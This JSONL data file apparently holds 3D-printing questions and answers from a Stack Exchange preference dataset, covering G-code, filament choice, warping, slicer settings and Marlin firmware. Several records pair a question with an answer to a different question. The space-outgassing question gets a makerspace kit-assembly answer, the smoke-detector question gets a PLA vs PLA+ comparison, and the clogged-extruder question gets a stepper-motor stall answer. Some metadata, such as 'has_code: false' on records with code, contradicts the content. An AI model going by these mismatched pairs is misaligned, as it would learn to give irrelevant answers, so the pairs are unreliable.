{"id": "hf_8ff9cb5412f5", "question": "<p>On the reprap wiki it says using Znnn it sets a new axis position.  But then it says &quot;No physical motion will occur&quot;. What would the line <code>G92 E0</code> be used for?</p>\n", "question_body": "", "answer": "The\n```\nG92\n```\ncommand is used to set the start position (origin) of one of more axes (including the current extruder) to any arbitrary value. The command\n```\nG92 E0\n```\nis often used to perform retraction and nozzle priming. For example, the following commands are often used in start-gcode sequences (prologues) to prime the current extruder by extruding a small amount of filament:\n```\n```\nG92 E0     ; Reset the extruder's origin\nG1 F200 E3 ; Extrude 3 millimetres of filament\nG92 E0     ; Reset the extruder's origin\n```\n```\nRepRap Wiki: G92: Set Position", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.878528"}
{"id": "hf_91e015ec8a44", "question": "<p>I planning on getting a resin 3d printer kit, and I don't want to take any risks building it myself.  Where, or who, could I hire a professional capable of constructing a 3D printer kit? They don't necessarily have to specialize in constructing 3d printers, I just need someone qualified with the mechanical and technical skills for the job.</p>\n", "question_body": "", "answer": "If you have a makerspace in your area, you'll likely find individuals with reasonable mechanical skills suitable for simple kit assembly. Most kits are engineered to be reasonable assembly, not rocket surgery. Makers are by nature capable of construction, often from raw materials, and kits are typically not particularly challenging comparatively speaking.\nResin 3D printers are also simple in construction, as the component count is less than that of an FDM printer, or quite close in count. SLA designs involve laser modules, mirrors and alignment, while DLP designs involve light projection and light masking. Both designs involve vats and movement mechanics.\nEven if you do not have a makerspace local to you, consider to contact one that might be nearer than farther away, as those spaces may have leads for you to locate a suitable victim/candidate.\nOur local library makerspace often farms out contacts to me or other makers with the necessary skills to meet a patron's requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.913580"}
{"id": "hf_cb71c2380dfc", "question": "<p>Materials used in space need to not outgas significantly  </p>\n\n<p>An answer to this question: <a href=\"https://3dprinting.stackexchange.com/questions/91/would-3d-printed-objects-outgas-in-vacuum?newreg=63cb72665132436c92ff1a842afac664\">Would 3d-printed objects outgas in vacuum?</a></p>\n\n<p>referred to the NASA outgassing database which showed that ABS, PET, and PLA filaments are all fairly low outgassing and suitable for space application.</p>\n\n<p>What I'm wondering is whether there are any 3D-printable plastics that are both suitable for space and also self-lubricating.   Nylon is the obvious printable self-lubricating material, but I believe that it outgasses too much (I don't think NASA has tested nylon filament, at least I can't find it in the database). </p>\n\n<p>My primary interest is in hobbyist-grade, FDM printers but if there are materials that can be commercially 3D printed, that is also of interest.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "If you have a makerspace in your area, you'll likely find individuals with reasonable mechanical skills suitable for simple kit assembly. Most kits are engineered to be reasonable assembly, not rocket surgery. Makers are by nature capable of construction, often from raw materials, and kits are typically not particularly challenging comparatively speaking.\nResin 3D printers are also simple in construction, as the component count is less than that of an FDM printer, or quite close in count. SLA designs involve laser modules, mirrors and alignment, while DLP designs involve light projection and light masking. Both designs involve vats and movement mechanics.\nEven if you do not have a makerspace local to you, consider to contact one that might be nearer than farther away, as those spaces may have leads for you to locate a suitable victim/candidate.\nOur local library makerspace often farms out contacts to me or other makers with the necessary skills to meet a patron's requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.939240"}
{"id": "hf_af4ddcfabfbd", "question": "<p><strong>Disclaimer:</strong> I am not a professional 3D printer, so I'm not really familiar with how 3D printing works.</p>\n\n<p>I was thinking about trying to make a real life model of the atomic orbitals, to clearly see how the orbitals are really shaped. I thought about trying to 3D print a block, made up of colored transparent \"ink\", in such a way that the darkness of the color at a point in the block should be proportional to the ψ<sup>2</sup> value (probability of the electron cloud). This would print a block in which high density areas are darker than light intensity areas.</p>\n\n<p>My question is, would it be possible to design an algorithm to print a specific darkness of ink at a specific location based on the computed value of ψ<sup>2</sup>, which is obtained by solving Schrödinger's Equation. Also, would it be possible to have this fullfilled at a reasonable price to be afforded by a regular customer, such as an engineering employee?</p>\n", "question_body": "", "answer": "problem definition\nI'm not quite sure if it's really question for this group. Looks like the problem itself is more for programming or physics group. Having requested calculations (electron cloud shape) resolved, there will be something to print but...\nprinting probability cloud\nat first, please take a look for example\nhere\nit's a review of 3d printing technologies. i think you should have clear picture if your idea is feasible or not.\nIMO it's not with todays technologies. in general (and deadly simlified) we have 3 main printing technics\nout of solid (or semi-solid) filaments - can be colorful and semi-transparent but it's not homogenous in terms of your needs\nout of solid powders - can be colorful but it cannot be transparent\nout of liquids - can be really transparent and color but unfortunately not colorful\ni'd say rendering but not printing is what you really need", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.987668"}
{"id": "hf_7fe763660a52", "question": "<p>I've seen several Q&amp;As on recycling and reusing plastic from failed prints, but what have you done with the last few meters of filament?  I've been keeping the ends of PLA (or sections I needed to cut) to maybe use for friction welding pieces together, but I only need so much for that.  I've considered just shoving the last bit in the tube and using a new roll to push it through (so long as retractions aren't necessary).</p>\n\n<p>This is especially a concern for more exotic filaments where friction welding isn't useful and the price is higher for that 1m section (something like Copperfill).</p>\n\n<p>Note: I have a Bowden extruder.  I imagine this is less of an issue with DD extruders.</p>\n", "question_body": "", "answer": "Weld the fragment to the beginning of a new spool and use it that\nway.\nMost are made from metal\nso they aren't that easy to make\nat home.  Here is another\nanswer\nthat lists other methods to\nweld filament including using heat shrink tubing.\nAs you mentioned, you can use it for friction welding.\nUse it for pin/studs/rivets/hinges in prints.\nThrow it away.  1.75mm * 1Kg is about 330m of filament, 3mm * 1Kg is\nabout 110m of filament.  The leftover isn't worth much when you\nconsider how much is on a spool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.023988"}
{"id": "hf_998be99140a3", "question": "<p>I am working on g code for my homebrew 3d printer and i have found the line <code>G1 -2.000 F2400.000</code>. From what i understand there should be an axis before the number and x and y shouldnt have negative. I am using grbl which is for cnc milling but and i have been deleting this line with no problems but i am wondering what it does because i will be upgrading to a \"real\" 3d printer asap</p>\n", "question_body": "", "answer": "G1 indicates a movement and -2.000 the distance, F2400.000 the feed rate mm/min, normally the\n(-)\nvalues are for retraction on extrusion\nE\n, for example:\nG0 X12 (move to 12mm on the X axis)\nG0 F1500 (Set the feedrate to 1500mm/minute)\nG1 X90.6 Y13.8 E22.4 (Move to 90.6mm on the X axis and 13.8mm on the Y axis while extruding 22.4mm of material)\n```\n```\n1. G1 F1500\n2. G1 X50 Y25.3 E22.4\n```\n```\nIn the above example, we set the feedrate to 1500mm/minute on line 1, then move to 50mm on the X axis and 25.3mm on the Y axis while extruding 22.4mm of filament between the two points.\n```\n```\n1. G1 F1500\n2. G1 X50 Y25.3 E22.4 F3000\n```\n```\nHowever, in the above example, we set a\nfeedrate of 1500 mm/minute\non\nline 1\n, then do the move described above\naccelerating to a feedrate of 3000 mm/minute\nas it does so. The extrusion will accelerate along with the X and Y movement, so everything stays synchronized.\nSo, in your case if some axis is not defined the feed rate applies to all motors.\n(part of this content is from reprap-wiki)\nYou will see negative numbers if your starting point is on the center of the bed just like rectangular coordinates.\n```\n```\nG1 X-50.318 Y8.849 E11.70313 \nG1 X-52.606 Y3.087 E12.26689 \nG1 X-53.240 Y1.297 E12.43953 \nG1 X-54.398 Y-2.097 E12.76562 \nG1 X-54.683 Y-2.995 E12.85132\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.063161"}
{"id": "hf_24a3a6558aac", "question": "<p>I have .stl for the 3d printing. And I want to analysis wall thickness of this model before printing. I have no idea about any tools. Can I create any console or wpf app for calculating wall thickness and cost of the printing. \nPlease help me.   </p>\n", "question_body": "", "answer": "If your talking about a hollow object, such as a cube with a hollow center. The wall thickness is determined by the model.\nIf your talking about a solid object, the wall thickness is determined by your nozzle diameter multiplied by your # of walls. This is all adjusted by your splicing software. If you have a nozzle of 0.5mm and you print at 3 perimeters, your wall should be 1.5mm. If you want the wall to be 2mm, then you will adjust your perimeters to 4. Everything within those walls will be whatever you choose for infill.\nI work with ASP.NET, Windows Forms, and Console Apps myself. I'm sure you can find libraries capable of taking 3D models but I don't think it would matter because the printed thickness is determined by your splicing settings.\nAlso for cost of printing, I recommend just using Cura which you just have to plug in some cost information about the filament and it will tell you estimated cost, mm of filament usage, and time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.112099"}
{"id": "hf_035cdaf71d63", "question": "<p>We need a 3D printer, that can print with plastic suitable for medical applications. We have about $5000 for the printer. What printers can we choose? I am not a specialist in 3D printing, so please answer in detail. </p>\n\n<p>We need to print breathing tubes with cuffs. The tubes should be flexible, but rigid enough in order not to collapse. The cuff material should be thin and collapsible, but very strong. Breathing tubes are inserted through the mouth and stay in contact with mucous membrane for many hours.</p>\n", "question_body": "", "answer": "I am not an expert but I think you will find that because 3D printers use a layer by layer construction method, and the boundary between the layers creates grooves along the surface or leaves a rough texture on the surface. That the textured surface left by 3D printer construction would trap microbes and make 3D printed objects not suitable for medical applications where you need the product to be sterile.\nIt might be possible to treat the printed object or post process it. By vapor smoothing or painting/coating, but I doing think this would work for flexible materials.\nIf you are considering 3D printing because of the ability to customize the design, then I would suggest considering combining 3D printing with molding or casting. You could then use a cheap 3D printer to create the mold and use a flexible resin to create the object you want.\nI have heard of SLA 3D printing being used to create molds for casting fake teeth. There 3D printing is used to create a custom shape and the print is used to make a mold and the final product is cast using the mold to get the quality and finish needed.\nAnd I have head of FDM printing being used in used in remote areas to print clamps for umbilical cords. But I believe this was because not no other option was available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.136054"}
{"id": "hf_fdf36293d493", "question": "<p>If I have a 3D cylindrical extrusion (in Onshape), how can I scoop, carve, or indent a concave/parabolic curve in one of the ends?</p>\n\n<p>The yellow surface is the target.\n<a href=\"https://i.stack.imgur.com/80wQB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/80wQB.jpg\" alt=\"Object\"></a>\nHere is the basic shape I'm trying to bore out (like a satellite dish, parabolic antenna, or even a contact lens.. You get the idea).\n<a href=\"https://i.stack.imgur.com/cbthB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cbthB.jpg\" alt=\"Void\"></a></p>\n", "question_body": "", "answer": "As is typical with many CAD type programs, a feature in Onshape known as revolve may be your solution. As you have a clear formula for the cross-section, half of the work is complete.\nYou would generate a sketch representing the curve, then use the Revolve feature with the axis oriented to vertical. According to the\nOnshape video\n, you can generate a solid or a surface from the options that appear when selecting that feature.\nAs you can see in the images above, the axis selected in the tutorial video is horizontal. Other features of revolve are covered in the video. Your post suggests it will also be necessary to perform a subtraction action on the assembly in order to get the scoop/concave result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.160348"}
{"id": "hf_aee8ed9b6e27", "question": "<p>I'm trying to print a large piece with polycarbonate but it keeps warping, I'm using a Taz 5 printer and setting 290 C in the extruder and 145 C in the heating bed. </p>\n\n<p>Other setting I have are:</p>\n\n<ol>\n<li>printing speed: 20 mm/s</li>\n<li>layer height: 2.5mm</li>\n<li>infil: 20%</li>\n<li>brim: 15mm</li>\n</ol>\n\n<p>Can anyone tell me any tips or suggestions to avoid warping?</p>\n", "question_body": "", "answer": "I would take a look\nhere\nand\nhere\n.\nLiterally the first two results of Google.\nTo summarize what they say,\nYou need good bed adhesion to keep the first layer from warping near the edges like you will get normally with ABS or PC(Polycarbonate). Some use hairspray or gluestick. I manage myself with buildtak surface. I would stay away from blue painters tape. Your looking for something very sticky. This of course makes it a nightmare to get the part off the bed but well worth the trouble if it keeps your print on the bed and flat.\nMake sure the part receives adequate heat. Like someone wrote in the comments, a enclosure works best to keep the temperature of the entire print warm instead of just the few layers closest to the bed.\nMore perimeter layers works very well by providing more structural strength to try and combat the warping. I've stumbled upon this solution when I had trouble with ABS.\nLastly, first layer is always the most important part of any print. You want to make sure it is as level as possible and a good tip is to raise your bed just so slightly than usual so the first layer is jammed hard against the bed. This provides better surface area. Just be careful not to clog your printhead cause if you constrict the flow out of the nozzle too much, you'll might end up with plastic trying to flow upwards or maybe grind the filament with the extruder gear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.255862"}
{"id": "hf_d49ad3e56f03", "question": "<p>I know you should, like an infant, never leave your printer without surveillance.</p>\n\n<p>But sometimes we all do, trusting our double thermistors and heat runaway configurations. But electronics fry and who says there is no danger even after the print job has finished and it's cooling down, still hooked up?</p>\n\n<p>I have searched but smoke/fire detectors come in a wide range of varieties: </p>\n\n<p>They can be battery powered or hardwired, they detect different things: carbon monoxide, heat, smoke..., they thus also have different detectors like photoelectric sensors, ionization sensors or both. We also print with different materials...</p>\n\n<p>So what's the best safeguard for my 2 year old (CoreXY ^^)?</p>\n", "question_body": "", "answer": "There’s no huge difference between both. The printing settings like temperature and printing speed are practically the same. But the PLA+ have a much better surface quality and it’s slightly more bright than normal PLA. Another difference is that the PLA+ it's more effective in bridges than PLA.\nIf you want to the comparison between PLA and PLA+ go right here,\nPLA vs PLA+ (short review)\n. This post is an awesome experiment with both materials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.362922"}
{"id": "hf_d8b44d38bc17", "question": "<p>I recently backed a 3D printer on Kickstarter, and I would like to 3D print parts for high-temperature applications. So I have two questions; </p>\n\n<ol>\n<li><p>What's the highest temperature polycarbonate can be safely heated to without warping or releasing toxins?</p></li>\n<li><p>If there's a filament with better temp-resistance I can print could you tell me? (If you know the highest temperature it could reach safely, that would be helpful too.)</p></li>\n</ol>\n\n<p>My 3D printer will have a heated bed up to 100°C, and an extruder temp of up to 250°C.</p>\n", "question_body": "", "answer": "Polycarbonate is\nheat-resistant up to ~120C\n. Above this temperature it will gradually become flexible and may irreversibly bend. It will not generate any toxic fumes all the way up to ignition temperature (630C), because\nit's fumes are not considered harmful\n. Note though, that with your temperature limit you may not be able to print with polycarbonate, or only do so at a very low speed.\nAccording to the\nsheets of commercially available printable plastics\n, PC has the highest printing temperature and heat resistance among them, seconded by nylon. This refers to the FDM printers only. SLS printers may be able to use other materials, even metals like aluminum or titanium, so if you really wish to get temperature-resistant prints, you may look for workshops that have SLS printers and ask them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.399446"}
{"id": "hf_afd167074abc", "question": "<p>I have seen some photos of aluminum based Prusa i3 printers, and I like to know the numbers and the specs of the profiles? Also I want to know Is the first pic strong enough for reliable printer or I must use the second(respect to profiles I mean).</p>\n\n<p><a href=\"https://i.stack.imgur.com/JcgdB.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/JcgdB.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/qjfBM.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/qjfBM.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "They are 2020 (20mm x 20mm) T-slot extrusions. They should not be confused with V-slot extrusions, which are similar to T-slot, but have a 45-degree slot profile to accommodate V-slot wheels.\nIf you are contemplating a new build, I would recommend using V-slot. Note that T-slot and V-slot come in a number of sizes (in multiples of 20mm). A 2040 profile is 20mm x 40mm, and will have two slots on the wider sides. Other sizes are available, such as 2060, 2080, 4040, and even C-shaped profiles.\nYou may want to use 2040 profiles for greater rigidity, especially if you are contemplating a large build volume.\nNote that there are imperial as well as metric T-slot profiles. RepRap uses metric profiles.\nReRap Wiki: T-slot\nOpenBuilds: V-slot", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.423589"}
{"id": "hf_e705c18cc745", "question": "<p>I’m trying to have <a href=\"https://www.thingiverse.com/thing:2576121\" rel=\"nofollow noreferrer\">this bracket</a> printed, but I don’t know what settings I should use.</p>\n\n<p><a href=\"https://i.stack.imgur.com/yTFRkm.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yTFRkm.jpg\" alt=\"Google Home Mini Invisible Mount\"></a></p>\n\n<p>The project details say 50% for infill, but is there a reason why I wouldn’t get 100% for making it sturdier?  I imagine the developer used 50% because he used his own printer and wanted to preserve more material.  The 3D printer service I’m using doesn’t charge more for 100%.</p>\n\n<p>But I’m more concerned about the material I should select.  Should I select PLA or ABS?  The developer didn’t specify this.</p>\n", "question_body": "", "answer": "For such a small item and the small load it will carry, even 50 percent is substantial. Keep in mind that one hundred percent infill is not necessarily stronger. If you need to know why, consider a 'net search for \"why not use 100% infill\" for more detailed information. The primary foundation for not using 100% infill is that the stress is better distributed over the structure of a non-100% part, while the completely filled part has more intra-layer stress failure. Another link suggests that there's a possibility of increased warping with full infill.\nBecause the load is small, it matters very little if you select PLA over ABS. PLA is more brittle compared to ABS and will crack or fracture or break under loads that might otherwise cause the same part in ABS to bend.\nIf you need yet more strength, select PETG or nylon, although I suspect either one would be more expensive from a service.\nIf you select ABS, you can use acetone smoothing later to make a shiny surface, but that's cosmetic, not structural.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.487785"}
{"id": "hf_77eeef1d6089", "question": "<p>I have been working at converting game files into 3d files that can be printed, but many of the models have very thin or walls. I was wondering if there was a way to increase the thickness of the walls using meshmixer or meshlab.</p>\n", "question_body": "", "answer": "Only today, I learned of a solution for this sort of objective, but it uses Fusion 360 rather than Meshmixer  or Meshlab. As your question does not include that program, I'll toss the Meshmixer method.\nThis image is of the model prior to modification:\nWhen you load your STL file into MM, use Edit, Generate Face Groups. This will cause the surfaces to change color. Click Accept.\nWith face groups created:\nIf you can be assured of all one surface, use Select, then double click on the interior. This should turn the entire interior red. If you discover unselected surfaces, simply click on those surfaces until all is completed. If you select a surface in error, use Shift-Click to clear that one surface.\nOnce selected, the select menu gives you a new edit menu. \nUse Edit, Offset for yet another menu. As you make changes in the menu settings, you'll see the results on the model. Ideally, you won't have an overly complex model with too many facets/triangles, as it can really bog a machine down.\nThis particular model has a nearly uniform interior. Double clicking on the inside surface caused the full cylinder (not the bottom) to be selected (turning red).\nLow accuracy offset, with surfaces still selected:\nFor smoothest results, keep the accuracy high. Any protruberance in the interior will give very strange results.\nHigh accuracy results, surfaces selected:\nExperiment with the settings, aim for the best result and click accept. As long as you don't export the model over your original, all experimentation is a learning experience and not a destructive one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.523993"}
{"id": "hf_a534946751a5", "question": "<p>I am writing my own slicer and wonder if there is a mathematical proof that proves that the intersection of the slicing plane with the STL file will only produce closed-loop polygons for every given slicing plane?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can't prove that because it isn't true. An STL file is just a collection of triangles. There is no guarantee that an intersection with the slicing plane will consist of closed-loop polygons. To be suitable for 3D printing an STL file should represent one or more closed, disjoint polyhedra (which would yield closed-loop polygons) but this is not always the case. Many slicers have heuristics to try and \"fix\" bad STL files on a best-effort basis. Especially considering the possibility of rounding errors, it is important to at least detect polygons that are almost (but not quite) closed and connect their endpoints together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.671198"}
{"id": "hf_2be26a6346d2", "question": "<p>I upgraded from Cura 2.7 to 3.1.0 and I'm getting horrible under extrusion, I'm sure this is the software because I rolled back to 2.7 and everything is working fine again.</p>\n\n<p>My printing is a Robo3D R1+ using the \"custom FDM printer\" profile.</p>\n\n<p>Is there any new setting or a setting that isn't migrated properly that causes this?</p>\n", "question_body": "", "answer": "Some users have reported upgrades to Cura changing the filament size to the default 2.85 mm. If you are using 1.75 mm filament (which most printers do), you will get extreme under-extrusion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.720678"}
{"id": "hf_a18dea91a7dd", "question": "<p>I just bought new TEVO Tarantula and tried to print xyz cube. I found that my cube's layer was shifted as showed in picture. How can I fix this ?</p>\n\n<p><a href=\"https://i.stack.imgur.com/u53fC.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/u53fC.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "From an electrical standpoint, a two-phase stepper motors (what most 3D printers use) works the same backwards and forwards, the phase just reverses.  If you are stalling on only one direction, I would look to see if you have a mechanical bind in that direction.  Generally a wiring issue will cause the motor to either not run at all or to run in the wrong direction.\nA few things you can check:\nDecouple the motors from their mechanical load and confirm that they all run correctly when they aren't driving a load.  If you can't do that, disconnect them all then connect a spare motor to each cable one-at-a-time.\nTurn each of the axis with your hand and make sure it turns smoothly throughout the entire range in both directions.  Note: Some times a binding issue is acceleration related - a loose frame or coupling can cause this.\nMonitor the supply voltage to make sure that one of the motors is not pulling the supply down causing all the others to stall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.770798"}
{"id": "hf_2e2908eca862", "question": "<p>I have a prusa 13 that's shipping in the mail, and I intend to make good use of it, one also own a da vinci jr. and the one time it got so clogged that the extruder itself was filled with pla, with that said I replace the extruder, for the da vinci, but besides that, as for my a prusa, what should I do if the extruder, not the nozzle gets clogged that badly?</p>\n", "question_body": "", "answer": "From an electrical standpoint, a two-phase stepper motors (what most 3D printers use) works the same backwards and forwards, the phase just reverses.  If you are stalling on only one direction, I would look to see if you have a mechanical bind in that direction.  Generally a wiring issue will cause the motor to either not run at all or to run in the wrong direction.\nA few things you can check:\nDecouple the motors from their mechanical load and confirm that they all run correctly when they aren't driving a load.  If you can't do that, disconnect them all then connect a spare motor to each cable one-at-a-time.\nTurn each of the axis with your hand and make sure it turns smoothly throughout the entire range in both directions.  Note: Some times a binding issue is acceleration related - a loose frame or coupling can cause this.\nMonitor the supply voltage to make sure that one of the motors is not pulling the supply down causing all the others to stall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.820740"}
{"id": "hf_bcbd5fa2276a", "question": "<p>I added a custom boot screen to marlin by adding <code>_Bootscreen.h</code> to the project root folder and it works fine. The problem is that the custom screen shows quickly and disappear then the marlin boot screen is then displayed for a longer time.\nI want to remove the marlin boot screen.</p>\n\n<p>I dug around in the source code and found a <code>void lcd_bootscreen</code> function in the   <code>ultralcd_impl_HD44780.h</code> header. This seems to be the function that is loading the marlin's boot screen due to the comments in the code. I added <code>return;</code> to the <strong>first line</strong> of code in this function but the marlin's boot screen is still loading. </p>\n\n<p>How can I remove the marlin boot screen. How can make my custom boot screen wait for more time?</p>\n\n<p>The marlin version is 1.1.8.</p>\n", "question_body": "", "answer": "So after some search:\nYou can't (at least should not) remove the marlin bootscreen according to this issue\nSHOW_CUSTOM_BOOTSCREEN hides Marlin logo\n, quote:\nWe wanted an additional logo - not a replacement of the Marlin logo.\nAccording to the\ncode here\nthere's a constant CUSTOM_BOOTSCREEN_TIMEOUT taking the default value of 2500 which is 2.5 seconds but you can redefine it in your _Boostrap.h file.\nThis constant is only available for DOGM lcd screens which is chosen by the code here in\nultralcd.cpp\nand whitout more details on your machine it's hard to tell from\nConditionals_LCD.h\nwhich will be used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.857679"}
{"id": "hf_909599850318", "question": "<p>The bottom of my prints warp/curve upwards, most often at the corners. This is a very slight curve, only about 1-2 mm.</p>\n<ul>\n<li>I print with a raft all the time.</li>\n<li>I don't have a heated bed.</li>\n<li>I print with PLA at 199 °C (390 °F) with a print speed of approximately 40 mm/s</li>\n<li>I have a Sindoh 3DWOX DP201.</li>\n</ul>\n<p>What slicer settings might be the cause of this phenomena?\nOr could it be 3D printer settings?</p>\n", "question_body": "", "answer": "If you have a heat bed, heat it up accordingly (for example for PLA 50 °C first layers, 40 °C then can be a good starting point).\nIf the first layer isn't close enough, then warping can happen (Happened to me when moving from 0.3 mm layers to 0.1 mm).\nIf you are under extruding / have dirt in the system (the heat chamber) so that extrusion is uneven it can make warps.\nAnd as always, you can try to print slower, it helps not always but often.\nPlease also do tell what temperatures (heat bed & nozzle) you are using and what material.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.926141"}
{"id": "hf_14d6524ce99d", "question": "<p>I created my model in onshape then exported it to stl file then imported it to simplify 3d to convert to gcode.</p>\n\n<p>However my model didn't go any in fill, it just continue to print layer after layer in the same fasion as the 1st layer. </p>\n\n<p>Correct me if am wrong infill is used so that the middle of your model isn't completely solid hence saving on filament.</p>\n\n<p>Is there something special I need to do in onshape or simplify 3d for it to use infill? To me it looked like it was just filling it up with pla </p>\n", "question_body": "", "answer": "The infill portion of your model is configured during the Simplify3D process. After loading your STL file into S3D, edit the process and examine the Infill tab and Infill slider. You'll see a percentage indicator, as well as an extruder selection (left or right, if you have two) to be used for the infill. There are other options within the configuration that would have little to no effect on the problem you are experiencing.\nOnce you have checked and corrected the settings as needed, used the prepare-to-print option and press the play button for a preview to see the infill being printed before you send it to the printer.\n100% infill is impractical, and one can create strong models with as low as 20% infill.\nInfill is used to save filament, as you suggest, but it is also used to provide support for top layers on areas that are not vertical. Sometimes, one would use a higher infill figure to provide for smoother top surfaces although increasing the layer count for top/bottom can accomplish that.\nCheck your top/bottom layer figure in the layers tab to ensure you have a reasonable figure. Three or four layers are good for cosmetic reasons, more if you need additional strength. Anything higher or absurdly high would cause some of the trouble you describe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.950866"}
